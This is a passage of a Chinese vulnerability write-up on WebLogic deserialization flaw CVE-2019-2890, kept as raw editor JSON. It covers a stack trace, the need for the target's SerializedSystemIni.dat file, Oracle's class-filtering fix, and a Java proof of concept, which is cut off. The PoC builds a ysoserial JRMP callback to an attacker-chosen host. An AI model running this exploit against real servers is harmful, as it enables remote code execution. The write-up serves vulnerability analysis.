(weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5wG-1682254615004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pdas-1682254615003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T5wa-1682254615006&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ENBS-1682254615005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0O80-1682254615008&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tq0t-1682254615007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dyTM-1682254615010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EkhA-1682254615009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ttew-1682254615012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FsZD-1682254615011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nIIJ-1682254615014&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CL27-1682254615013&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Gpg-1682254615016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWLT-1682254615015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aki6-1682254615018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lCxl-1682254615017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C084-1682254615020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hOrJ-1682254615019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AIyt-1682254615022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uyCV-1682254615021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yVdj-1682254615024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jQli-1682254615023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SgcZ-1682254615026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bGZx-1682254615025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFcX-1682254539640&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J0af-1682254539639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vL9w-1682254539642&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OY8w-1682254539641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;该漏洞存在一定的利用条件，构造poc时需要目标服务器weblogic当前使用域下的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;SerializedSystemIni.dat文件&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，否则将无法构造PersistentContext类或是目标服务器decrypt失败：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yr71-1682254539645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YAku-1682254539644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vUm7-1682254539643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk8u121:/u01/app/oracle/Domains/ExampleSilentWTDomain/security/SerializedSystemIni.dat ./&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VYrk-1682254540641&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6618/WEBRESOURCE3877b52d57841c5fe724265aa4c39b52&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6618/WEBRESOURCE3877b52d57841c5fe724265aa4c39b52&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;svvH-1682254540642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6619/WEBRESOURCEbb1bb2156a0759cb1bbb7dc5e5b0d81a&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6619/WEBRESOURCEbb1bb2156a0759cb1bbb7dc5e5b0d81a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DXXU-1682254539649&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jwH-1682254539648&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;官方修复方案：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1EKZ-1682254539651&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ux3W-1682254539650&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在PersistentContext类进行readSubject方法时新增WSFilteringObjectInputStream，其resolveClass方法仅允许Subject的子类进行后续反序列化操作：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ta19-1682254540643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6620/WEBRESOURCE7dfeca70c9b0d1014b5c64d7f70902d2&#34;,&#34;width&#34;:1838,&#34;height&#34;:714},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6620/WEBRESOURCE7dfeca70c9b0d1014b5c64d7f70902d2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1838,&#34;height&#34;:714},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xNaP-1682254540644&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6621/WEBRESOURCEd2971fae63538111017ba08e9192ab2a&#34;,&#34;width&#34;:1794,&#34;height&#34;:838},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6621/WEBRESOURCEd2971fae63538111017ba08e9192ab2a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1794,&#34;height&#34;:838},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6cxq-1682254539655&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bg03-1682254539654&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yWqj-1682254540586&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OUPf-1682254539657&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AQ8O-1682254539656&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.server.UnicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zgFb-1682254539661&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;15Am-1682254539660&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.LiveRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oDTi-1682254539663&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;70vL-1682254539662&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.tcp.TCPEndpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kX8f-1682254539665&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JmrA-1682254539664&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.KernelStatus;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ATHi-1682254539667&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z2AG-1682254539666&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.jaxws.persistence.PersistentContext;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KljY-1682254539669&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvNK-1682254539668&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.KernelStatus.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ewId-1682254539671&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qqak-1682254539670&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8cHv-1682254539673&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rYKa-1682254539672&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6pg1-1682254539676&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oRPH-1682254539674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OoXl-1682254539678&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tf8X-1682254539677&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Proxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IP8E-1682254539680&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;92Cb-1682254539679&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.registry.Registry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WXV0-1682254539682&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EbN9-1682254539681&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.ObjID;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K7cm-1682254539684&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LZOG-1682254539683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.RemoteObjectInvocationHandler;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLXW-1682254539686&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ngfi-1682254539685&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UUi-1682254539688&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Tuu-1682254539687&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Random;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LBr8-1682254539690&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bq6O-1682254539689&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e0z2-1682254539692&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxzW-1682254539691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2019_2890  {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbtN-1682254539694&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oOmQ-1682254539693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Registry getObject(String command) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qARj-1682254539696&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vQ7m-1682254539695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int sep = command.indexOf(58);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6Nz-1682254539698&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ZGx-1682254539697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String host;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BYiH-1682254539700&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qh46-1682254539699&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int port;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;piij-1682254539702&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3hzZ-1682254539701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (sep &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IFk4-1682254539704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z4Gl-1682254539703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            port = (new Random()).nextInt(65535);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bfVX-1682254539706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TSOY-1682254539705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            host = command;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ULSk-1682254539708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xeR3-1682254539707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E8eS-1682254539710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V6Tb-1682254539709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            host = command.substring(0, sep);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9WEB-1682254539712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzFe-1682254539711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            port = Integer.valueOf(command.substring(sep + 1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lu2T-1682254539714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;un8l-1682254539713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xVA6-1682254539716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YR9W-1682254539715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k8fG-1682254539718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QliR-1682254539717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID((new Random()).nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;frsl-1682254539720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Acha-1682254539719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint te = new TCPEndpoint(host, port);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZrSJ-1682254539722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BKX7-1682254539721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUpu-1682254539724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5b45-1682254539723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6jAO-1682254539726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JhTB-1682254539725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VidU-1682254539728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NUS0-1682254539727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return proxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S1de-1682254539730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hDP1-1682254539729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XtpD-1682254539732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QlnK-1682254539731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LO4f-1682254539734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lFF9-1682254539733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.setProperty(\&#34;com.bea.core.internal.client\&#34;,\&#34;true\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3zzC-1682254539736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LZL9-1682254539735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        PersistentContext pc = new PersistentContext(null,null,null,null,null, POC.getObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;58Hw-1682254539750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5VZX-1682254539749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MwEZ-1682254539752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EAzb-1682254539751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new 